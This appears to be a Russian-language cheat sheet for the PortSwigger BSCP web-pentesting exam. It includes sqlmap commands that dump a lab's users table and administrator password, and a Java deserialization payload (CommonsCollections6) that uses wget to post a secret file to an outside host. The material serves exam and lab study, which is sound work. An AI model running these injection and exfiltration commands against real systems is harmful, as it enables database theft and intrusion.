> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/bscp-certification-practical-guide.md). # BSCP и практические экзамены ### BSCP Certification — шпаргалка {% hint style="danger" %} **BSCP (Сертифицированный специалист Burp Suite)** — это **PortSwigger** сертификация, подтверждающая продвинутые навыки в **тестировании веб-приложений**. / Она оценивает способность выявлять и эксплуатировать реальные уязвимости, используя **Burp Suite** в практической среде. / Эта сертификация признана в области **кибербезопасности** как подтверждение технической экспертизы в наступательной безопасности. {% endhint %}

	Этап 1: Получить доступ к любому пользователю	Этап 2: Повышение привилегий	Этап 3: Цель — доступ к файловой системе
/pages/bc8a468aefd0b3d519fddea938e4a6c0cff9a57c	false	true	true
/pages/b96d7286efbc864447b8636407b7be76c5557ea6	true	true	false
/pages/6bb0eeb4f18c66129b3bb36a247d8980ecc1eb54	true	true	false
/pages/f4d00b6ba5e0e3c87cda6e21367fe7bb52fbe98a	true	true	false
/pages/609ec477bbd750e550eb3ec607c83a31dcc13e4a	true	true	false
/pages/039166c70ba20f3980404bd12b8f26f211a1fb4b	true	true	false
/pages/c6ed9eed76fecf4dca03dbe759d024e5fe9c9db3	false	false	true
/pages/df1fb926a0b9c4a810d165a2527fb7907faba1e0	false	false	true
/pages/6eee31db961a44a74bad6b7ad4aed6379540c6c2	true	true	false
/pages/769caca637a353ffd2dff102e3020e6ee531d69e	false	false	true
/pages/9e705ac23778a9e86e2fcbb7f18d77ade12bf355	false	false	true
/pages/ea1f397ab303f02ccdf6fb1fd0b2afffc23dbce4	false	false	true
/pages/5b0f184bf592bb00897edc869c30b88927cf3ba0	true	true	false
/pages/9a8b20c5625cb9b945d3cad9a302e5a91c08148b	true	true	false
/pages/1034c0bec948f31bc6d0ddd0ee351bc39b702f4e	false	false	false
/pages/899d437397fbf14fde2baf222104765f3051bce6	true	true	false
/pages/e83e2c2e9e3e092cce86fb16fb918de4d732cdb5	false	false	true
/pages/15969f5ffb5b351bdea375fe5b9d99cd56a166e6	false	false	false
/pages/f76b1dc7a0079afd9727f7b429f5068ae2c2a6d7	false	false	false
/pages/4a6c8efdf68e41344effefdfc011759777721141	true	true	false
/pages/c0c994b016e44141e0efa3cb71ab419721d6b2b4	true	true	false
/pages/2a80cdc08a506470e69f08feea39675fd65e58fd	false	false	true
/pages/e52cbdce06670fcf3324b9e361e0bfd39e0d810e	true	true	false
/pages/adf1751ddf0c33d385f38307d43f765d5db2dc3b	false	false	false
/pages/fbc730983fc6688fa91639162c419f719a7fcf47	false	false	false
/pages/eb228500a8f4f42f025997ae41ff1734a2a6f43b	false	false	false
/pages/3f3d68deb4b89d0037fbe93c4d7c7feca5e5af54	false	false	false
/pages/4c2ddc786cc3517a285718933e019d49a750d89e	false	false	false
/pages/4dc4f8b536b5213bebbb7d22407ccfa8185db577	false	false	false
/pages/994658fca257fb687c2cab5066801311c0f08bf3	false	false	false
/pages/fd02108eb2b8c0e9778287c8963c0d0e0b5785a0	false	false	false

#### Burp Suite — Scan (напоминания) * **Полное сканирование домена** * Определить/проверить **точки внедрения** непосредственно в **Repeater** *** #### SSRF — краткая памятка * Локальная цель: `localhost:6566` #### Ресурсы / Полезные списки * **Шпаргалки XSS** * **имён пользователей** * **пароли** * **словари** * **полезные нагрузки** * **SQLi** * **sqlmap**

Сканирование полезных нагрузок

sqlmap -u "https://<TARGET_HOST>/filtered_search?find=&organize=5&order=ASC&BlogArtist=" /
  -p order /
  --level=5 /
  --risk=3 /
  --batch /
  --threads=10 /
  --cookie="session=<SESSION_COOKIE_VALUE>; _lab=<LAB_COOKIE_VALUE>"

* -DBMS=db/\_type --force-DBMS

Пример сканирования

{% code overflow="wrap" %} ```bash sqlmap -u "https://0a1400b40315d2b281a58fd100800004.web-security-academy.net/filtered_search?find=&organize=5&order=ASC&BlogArtist=" / -p order / --level=5 / --risk=3 / --batch / --threads=10 / --sql-query="SELECT password FROM users WHERE username='administrator'" / --dbms=PostgreSQL --force-dbms --cookie="session=wQNQm4WZ02ejWneR9Pk9jLFj0CyhL6ZK; _lab=46%7cMCwCFFlBvtBGUO72q7EOE9BRElfWPqyZAhQU6FcgzznQodiX5Tl8CsBk3Z%2bI9k1Wq1bc8fahR4IhUOCdfA1mZQupxKDL9hIHaaFhDD0pHN7AryzO0yL91mmU7MQwQB36UQhzJXMmld2gz%2byaV%2fPoyNwaSVS5yLQREbtaTXV15Kv05MM%3d" ``` {% endcode %} /--columns -T users -D public /--dump -T users -C username,password

* **методология** * \*\*десериализация Java (Java 8) \*\* ```bash CommonsCollections6 '/usr/bin/wget --post-file /home/carlos/secret https://...' ``` #### Поведенческие допущения (лабы) * У каждого приложения \*\*максимум один активный пользователь\*\*, подключённый либо через **пользователь** или через **admin**. * Этот пользователь \*\*возвращается на главную страницу каждые 15 секунд\*\*. * Он **переходит по всем ссылкам** содержащимся в письмах, отправляемых приложением. * Работающий сервер и его функция \*\*

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/web/bscp-certification-practical-guide.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.